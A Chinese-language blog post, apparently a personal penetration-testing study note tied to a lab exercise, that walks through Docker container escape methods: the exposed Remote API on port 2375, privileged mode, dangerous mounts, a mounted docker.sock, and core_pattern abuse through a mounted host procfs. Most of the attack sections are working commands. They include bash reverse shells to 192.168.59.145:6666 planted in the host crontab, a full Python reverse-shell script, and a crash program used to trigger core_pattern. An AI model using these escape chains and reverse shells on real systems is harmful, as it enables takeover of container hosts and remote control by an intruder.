docker逃逸

简介

刚好做到红日4里需要进行docker 逃逸,发现不会学习一下

判断是否存在于

  1. 检查根目录

    检查根目录是否存在.dockerenv

    如果有则说明存在于docker 里面

  2. 检查**/proc/1/cgroup**

    检查这个文件夹里是否存在与docker 相关的字段

    1
    cat /proc/1/cgroup

    image-20240219181808996

    image-20240219181824312

Docker Remote API未授权访问逃逸

简介

在使用docker swarm的时候,管理的docker节点上会开放一个TCP端口2375,默认绑定在0.0.0.0上,造成任何人都可以访问管理端的2375端口,任何人都可以远程控制管理的docker环境。

漏洞判断

http://192.168.59.147:2375/version
http://192.168.59.147:2375/info

环境搭建

1
2
3
git clone https://github.com/vulhub/vulhub.git  
docker-compose build docker-compose up -d
docker ps -a | grep rce

访问ip:2375/version\

48852cf4de76a97f252ef9ee628d2179.png

漏洞利用

先查看磁盘分区是什么情况

1
2
flisk -l
df -h

发现flisk 用不了,就是用的df

发现没有可以利用的磁盘

如果发现可以利用的磁盘的话,可以尝试挂载到其他地方

1
mount /dev/sda1 /hacker

img

现在就相当于得到了宿主机的所有文件

可以使用定时任务的方式获取shell

1
2
3
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh

echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab(每分钟执行一次)

/hacker/etc/crontab 到这个文件夹里面

privileged特权模式启动容器逃逸

如果发现是这种方式,其实是最方便的逃逸的

docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,可直接通过chroot切换根目录、写ssh公钥和crontab计划任何等逃逸到宿主机。

漏洞验证

1
cat /proc/self/status |grep Cap

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff

image-20240220101107010

这个是不存在这个漏洞

漏洞利用

docker容器中查看系统磁盘分区情况,在新建一个目录,将宿主机所在磁盘挂载到新建的目录中。

利用方式和前面的是一样的

1
2
3
fdisk -l
mkdir /hacker
mount /dev/sda5 /hacker
1
2
3
touch /hacker/hacker.sh
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab

危险挂载导致Docker逃逸

在启动docker容器时,将服务器中的根目录或敏感目录挂载到容器中时,可能会造成docker逃逸。

这个都是受害者的管理者的配置问题

漏洞利用

这个方式,由于受害者已经挂载了,所以就不需要手动挂载了

找对挂载点,然后写定时任务

挂载Docker Socket逃逸

在启动docker容器时,将宿主机/var/run/docker.sock文件挂载到docker容器中,在docker容器中,也可以操作宿主机的docker

Docker采用C/S架构,我们平常使用的Docker命令中,docker即为clientServer端的角色由docker daemon扮演,二者之间通信方式有以下3种,使用下面命令,就可以操作目标docker,使用docker命令,操作docker

1
2
3
unix:///var/run/docker.sock
tcp://host:port
fd://socketfd

漏洞验证

如果发现 docker.sock 文件,说明可能存在漏洞

image-20240220103505447

发现没有

如果发现

漏洞利用

docker容器中安装docker

1
2
apt-get update
apt-get install docker.io

在容器中操控主机的docker ,在docker容器中,使用命令查看宿主机拉取的镜像。

1
docker -H unix://var/run/docker.sock images 

docker容器中,使用命令再运行一个docker容器,将宿主机的根目录挂载到ubuntu:16.04test目录中,造成docker逃逸,在通过写计划任务方式,反弹shell

1
2
docker -H unix://var/run/docker.sock run -v /:/test -it ubuntu:16.04 /bin/bash
ls /test

挂载宿主机procfs逃逸

procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式,如果/proc/sys/kernel/core_pattern文件中的首个字符是管道符| ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。当利用这种方式进行docker逃逸时,触发条件比较苛刻,需要有进程奔溃才能触发。

漏洞验证

如果找到两个core_pattern文件,那可能就是挂载了宿主机的procfs

image-20240220110152370

发现存在

漏洞利用

当启动一个容器时,会在/var/lib/docker/overlay2目录下生成一层容器层,容器层里面包括diff、link、lower、merged、work目录,而docker容器的目录保存在merged目录中,通过命令找到当前容器在宿主机下的绝对路径,workdir代表的是docker容器在宿主机中的绝对路径。

1
cat /proc/mounts | grep docker

image-20240220110354943

发现存在 workdir

安装vim 和gcc

1
apt-get update -y && apt-getinstall vim gcc -y

创建一个反弹Shellpy脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
vim /tmp/.t.py

#!/usr/bin/python3
import os
import pty
import socket
lhost = "192.168.59.145"
lport = 6666
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.t.py')
s.close()
if __name__ == "__main__":
main()

我们修改/host/proc/sys/kernel/core_pattern文件以达到修改宿主机/proc/sys/kernel/core_pattern的目的。

创建一个崩溃的程序

1
2
3
4
5
6
7
8
9
10
11
vim t.c

#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

gcc t.c -o t
./t

然后运行这个

脏牛漏洞实现Docker逃逸

当宿主机存在Dirty Cow(CVE-2016-5195)漏洞时,利用该漏洞,可实现Docker容器逃逸,获得root权限的shell


docker逃逸
https://tsy244.github.io/2024/02/19/渗透/docker逃逸/
Author
August Rosenberg
Posted on
February 19, 2024
Licensed under